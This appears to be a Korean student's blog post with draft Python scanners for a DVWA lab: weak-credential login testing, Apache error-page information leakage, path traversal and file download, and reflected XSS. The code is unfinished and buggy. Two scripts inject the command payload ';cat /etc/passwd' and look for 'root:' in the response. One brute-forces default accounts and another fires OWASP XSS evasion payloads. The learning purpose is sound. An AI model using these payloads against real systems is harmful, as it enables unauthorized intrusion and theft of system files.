약한 문자열 강도
약한문자열강도
입력 : 로그인 페이지 URL과 파라미터
공격 패턴 : 가이드 상의 취약한 계정 11개 X 취약한 패스워드 9개 조합 적용
판별은 로그인 성공 여부와 일정 횟수(3~5회) 시도시 제한 여부 2가지를 확인하여 하나라도 안되면 취약
import requests
from bs4 import BeautifulSoup
def main():
url = input("url입력하시오:")
save_txt(url)
#check_request(url)
user_id = input("id입력:")
user_pw = input("pw입력:")
gethtml(url,user_id,user_pw)
return 0
def save_txt(url):
f=open("url.txt","w")
f.write(url)
f.close()
return 0
def set_header():
f = open("cookie.txt", 'r')
line=f.readline()
f.close()
return line
로그인 페이지의 URL을 입력받고, 그 URL로 request를 날려 돌아오는 response를 beautifulsoap으로
input 태그를 탐색해서 id와 pw에 해당하는 name을 검색하여 그 곳에 데이터를 날리도록 수정 필요
로그인 URL만 입력받고 그 URL로 requests를 보낼 때, input 태그를 가져와서
로그인 id와 pw를 어떤 input 태그로 쓰는지 보고 그 쪽으로 로그인시도를 하는
def gethtml(url,user_id,user_pw):
response = requests.get(url)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
tag = soup.find_all('input',limit =2)
tag[0]['name'] = user_id
tag[1]['name'] = user_pw
print(soup)
return soup,user_id,user_pw
가이드 상의 아이디와 비밀번호는 정의되어있는 공격 패턴이니까
사용자한테 입력받는게 아니라 txt에서 로드해서 하면 되고,
첫 번째 요청 보냈을 때의 response와 6번째 보냈을 때의 response의
길이를 비교해서 같으면 취약한걸로 다르면 확인필요로 하고 화면 띄워줘서 확인하도록
#def check_secure1():
# 같은 id로 5번 넘게 request를 날렸을때(틀린 pw로) 잠김이 되지 않으면 취약
#def check_secure2():
#위 두가지 하나라도 취약하면 취약
#def print_secure():
if __name__ == "__main__":
main()
어렵다 어렵당..!
정보누출
import requests
from urllib.request import urlopen
from bs4 import BeautifulSoup
from urllib.error import HTTPError
def main():
url = input("url 입력하시오:")
save_txt(url)
error = url + "error"
print(error)
except_page(error)
check_status(error)
return 0
def save_txt(url):
f=open("url.txt","w")
f.write(url)
f.close()
return 0
#예외처리(그냥 해보기)
def except_page(error):
try:
html=urlopen(error)
except HTTPError as e:
print(e)
else:
soup = BeautifulSoup(html, 'html.parser')
print(soup)
def gethtml(error):
res = requests.get(error)
html = res.text
soup = BeautifulSoup(html, 'html.parser')
print(soup)
check_result(soup)
def check_status(error):
res = requests.get(error)
code = res.status_code
print(res)
print(code)
if code == 404:
gethtml(error)
return 0
#210716 멘토 코멘트 : 사실상 이렇게 구현하면 apache인 웹서비스에 해당해서만
#정보누출 취약점을 점검할 수 있음, 다른 웹서비스나 not foind 등 다른 패턴도 추가해서 확인하는 것이 필요함
def check_result(soup):
soup = str(soup)
print(soup)
#아파치서버
check_version = soup.lower().find('apache')
print(check_version)
if check_version == -1 :
print("양호")
else:
print("취약")
#Tomcat서버 일경우
# check_version = soup.lower().find('Tomcat')
# if check_version == -1 :
# print("양호")
# else:
# print("취약")
if __name__ == "__main__":
main()
#IIS서버 : 사용자 정의에러페이지 직접 지정해야한다.
아파치 서버는얼추 완성함, 다른서버는 ...어떻게 해야할지 모르겠음.
#문제점 : root가 soup으로 긁어온거에 안뜸..왜지?
# pattern이 똑같은거 2번반복됨
파일다운로드
import requests
from bs4 import BeautifulSoup
# 1. main함수
def main():
path = input("경로를 입력하세요")
param = str(input("파라미터 입력하시오:"))
pattern_load(path,param)
save_txt(path,param)
#텍스트파일에저장
def save_txt(path,param):
f=open("url.txt","w")
f.write(path)
f.close()
f2 = open("param.txt","w")
f2.write(param)
f2.close()
return 0
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path,param):
f = open("pattern.txt", 'r')
pattern_n=1
pattern=f.readline()
list_file = []
final=0
while pattern :
print('%s' %(pattern))
list_file.append(pattern)
pattern=f.readline()
pattern_n += 1
for i in range(len(list_file)):
url = path+ list_file[i]
print(url)
#+'&'+param+'='
soup, params=check_request(url)
final = check_result(soup, final)
#print('%s' %(line))
f.close()
print(final)
if final == 1:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
else:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
return 0
#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장
def check_request(url):
params={'':';cat /etc/passwd','Submit':'Submit'}
header = {'Cookie' : 'security=High; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
response = requests.get(url=url, headers=header, params=params)
#4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
status = response.status_code
html = response.text
soup = BeautifulSoup(html, 'html.parser')
return soup, params
#6. 점검결과함수
def check_result(soup, final):
soup = str(soup)
print(soup)
detect=soup.lower().find('root:')
print(detect)
#판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
#print(detect)
#6.1 취약양호판단(다운로드 되었는지 여부확인)
if detect==-1:
print("양호")
else:
print("취약")
final=1
return final
if __name__ == "__main__":
main()
더 세부적으로 해야함
파라미터 값을 뭘 어떻게 입력받아야 하는건지.. 링크에 그냥 붙여넣으면 안되는것같음
아마 도?
경로추적 (파일다운로드랑 다를게없음)
#개행별로 def이용해서 짜보기
import requests
from bs4 import BeautifulSoup
# 1. main함수
def main():
path = input("경로를 입력하세요")
save_txt(path)
pattern_load(path)
#2. 경로 입력받는 함수(함수로 안했음 전역변수가 편할듯)
#3. 헤더세팅함수(필요없을것같아서 뺌)
def save_txt(path):
f=open("url.txt","w")
f.write(path)
f.close()
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path):
f = open("pattern.txt", 'r')
pattern_n=1
pattern=f.readline()
list_file = []
final=0
while pattern :
print('%s' %(pattern))
list_file.append(pattern)
pattern=f.readline()
pattern_n += 1
f.close()
for i in range(len(list_file)):
url = path+ list_file[i]
print(url)
while pattern:
soup, params=check_request(url)
final = check_result(soup, params, url, final)
#print('%s' %(line))
f.close()
print(final)
if final == 1:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
else:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
return 0
#4.1 개행삭제 함수 : url = path + pattern 로드하면 개행 지우고 추가해야함
#def delete_newline()
#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장
def check_request(url):
params={'ip':';cat /etc/passwd','Submit':'Submit'}
header = {'Cookie' : 'security=low; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
response = requests.get(url=url, headers=header, params=params)
#4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
if response.status_code == 200:
html = response.text
soup = BeautifulSoup(html, 'html.parser')
print(soup)
else :
print(response.status_code)
return soup, params
#6. 점검결과함수
def check_result(soup, params, url, final):
detect=soup.find('root:')
#판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
#print(detect)
#6.1 취약양호판단
if detect==-1:
print("양호")
else:
print("취약")
final=1
print("URL:", url)
print("DATA:", params)
print("\n")
return final
if __name__ == "__main__":
main()
근데 이건그냥 뒤에 공격구문 붙여주기만 하면된다고..파라미터 입력필요없다고..
함.
이와 관련해서 수정해야함.
상당히 답이없는 XSS
#?name=%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E 이렇게 뜸
#파라미터 값이라는게, 그 이름값을 얘기하는게 아니라 말그대로 값이다.
import requests
from bs4 import BeautifulSoup
#url =http://127.0.0.1:8001/dvwa/vulnerabilities/xss_r/
#1. main함수: url과 파라미터 입력받기
def main():
url = input("url입력하시오:")
param = str(input("파라미터 입력하시오:"))
save_txt(url,param)
pattern_load(url,param)
return 0
#텍스트파일에저장
def save_txt(url,param):
f=open("url.txt","w")
f.write(url)
f.close()
f2 = open("param.txt","w")
f2.write(param)
f2.close()
return 0
# 헤더세팅
def set_header():
f = open("cookie.txt", 'r')
line=f.readline()
f.close()
return line
#. 크롤링함수
def gethtml(res):
req = requests.get(res)
html = req.text
soup = BeautifulSoup(html, 'html.parser')
check_result(soup)
#3.공격 로드 함수:url+파라미터
def pattern_load(url,param):
f = open("pattern_2.txt",'r',encoding='UTF8')
pattern = f.readline()
while pattern:
res,data = check_request(url,param,pattern)
pattern = f.readline()
gethtml(res)
f.close()
#4. 점검요청함수(공격구문 파라미터에 넣어서 돌리기)
def check_request(url,param,pattern):
header = {'Cookie' : set_header()}
data = {param : pattern }
#파라미터를 사용자가 입력한 값으로 바꿔야 하는데..방법 모르겠음.
response = requests.get(url=url, headers=header, params = data )
res = response.url
status = response.status_code
return res,data
#4.1 공격결과 확인
#점검결과 함수 :db에 <script></script> ==> 취약
#먼저 response 메시지에 <와 >가 <와 >로 치환되어나타나는지를 확인 -> 치환되었으면 양호
#치환 안되었으면 파라미터에 공격구문 넣어서 요청 보내 확인
#케이스에 따라 판별하는 방법을 다르게 해야함 alert를 쓰는 경우와 안쓰고 다른 구문(onerror나)을 쓰는 경우 등
def check_result(soup):
#1.치환되었는지 여부확인(보완필요)
detect = soup.find("<",">")
if detect == 1 :
print("양호")
else:
print("치환되지 않아 취약합니다")
#2. 케이스에 따른 취약양호
#2.1.1 alert 가 실행되었는지 (.....어떻게 확인?)
#2.1.2 img
#2.1.3 etc..
if __name__ == "__main__":
main()
XSS는 csrf 값이 있어서 그냥 보내면 잘 안되는거 같더라고, 일단 페이지 URL만으로 로그인하는 기능을 만들어야 할 것 같아서 일단 시간이 걸릴것 같아 라고 하셔서 피드백 올때까지 기다림ㅎㅎ...어려워 제일
#참고https://blog.naver.com/takudaddy/222269347187
#공격패턴 https://owasp.org/www-community/xss-filter-evasion-cheatsheet
'✍2021,2022 > web보안' 카테고리의 다른 글
약한문자열강도 중간점검 (0) | 2021.08.04 |
---|---|
python 새롭게 알게된것(1) (0) | 2021.08.04 |
약한문자열, 정보누출 (0) | 2021.07.07 |
경로추적/파일다운로드 (0) | 2021.07.07 |
XSS (0) | 2021.07.07 |